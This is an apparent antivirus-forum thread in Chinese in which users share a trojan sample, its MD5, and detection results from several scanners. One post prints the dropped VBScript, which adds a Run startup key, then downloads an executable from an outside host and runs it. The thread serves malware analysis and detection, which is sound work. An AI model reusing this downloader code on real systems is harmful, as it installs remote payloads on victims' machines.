卡巴启发 2 个

ledled

Name: VirTool.Patcher.AZ
Type: Trojan

Description:


Files:
c:\users\administrator\desktop\1.exe

smallyou93

1.exe MD5：738CB33977AD546AF895C89CC8DDD8B0

释放文件c:\windows.vbs

添加启动项
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
    <>c:\windows.vbs

1. 
   
2. Set xPost = createObject("Microsoft.XMLHTTP")
   
3. xPost.Open "GET","http://www.genwjq.com/1.exe",0
   
4. xPost.Send()
   
5. Set sGet = createObject("ADODB.Stream")
   
6. sGet.Mode = 3
   
7. sGet.Type = 1
   
8. sGet.Open()
   
9. sGet.Write(xPost.responseBody)
   
10. sGet.SaveToFile "c:\windows.exe",2
    
11. Set objShell = CreateObject("Wscript.Shell")
    
12. objshell.run """c:\windows.exe"""
    
13. 
    

复制代码

[ 本帖最后由 smallyou93 于 2009-3-22 15:27 编辑 ]

kingsheet

卡巴 检测到：病毒 Heur.Backdoor.Generic (修改)        URL: http://bbs.kafan.cn/attachment.p ... t=1237709674//2.exe

揍敌客

ik kill all

BING126

McAfee miss